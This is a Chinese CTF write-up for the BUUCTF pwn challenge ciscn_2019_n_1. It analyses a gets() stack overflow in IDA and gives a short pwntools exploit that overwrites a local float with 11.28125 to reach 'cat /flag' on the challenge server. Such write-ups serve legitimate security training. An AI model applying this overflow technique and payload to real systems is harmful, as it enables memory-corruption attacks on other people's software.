zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN5——ciscn_2019_n_1

    [BUUCTF]PWN5——ciscn_2019_n_1

    题目网址:https://buuoj.cn/challenges#ciscn_2019_n_1

    步骤:
    例行检查,64位,开启了nx保护
    在这里插入图片描述
    nc一下看看输入点的字符串,看运行结果猜测是一个猜数的程序,而且需要我们猜的数应该是11.28125
    在这里插入图片描述
    输入11.28125,发现还是不对
    在这里插入图片描述

    用64位ida打开,首先shift+f12查看程序里的字符串,发现了 “ cat /flag ”
    在这里插入图片描述
    双击跟进,ctrl+x找到调用这个字符串的函数
    在这里插入图片描述
    我们可以看到第10行的if判断,要v2=11.28125才会输出flag,但是第九行的gets是给v1输入,双击v1和v2,查看一下两个变量的地址
    在这里插入图片描述
    可以看到两个参数直接的距离是-0x4-(-0x30)=0x2c,就是说我们写入v1数据时候时候在写入0x2c个字节之后在写入11.28125,这样就可以让v2=11.28125了

    写一个简单的十进制转内存中的十六进制

    在这里插入图片描述
    在这里插入图片描述
    细心点的话可以发现程序里面也有11.28125的在内存中16进制的表示
    在这里插入图片描述

    exp

    from pwn import*
    
    r=remote('node3.buuoj.cn',25815)
    payload='a'*0x2c+p64(0x41348000)
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    pycharm初始配置
    个人Python笔记
    Linux硬盘分区
    Linux基础(三)
    Linux基础(二)
    linux基础之基本命令
    计算机网络基础
    计算机操作系统
    计算机基础
    vim编辑器
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273729.html
Copyright © 2011-2022 走看看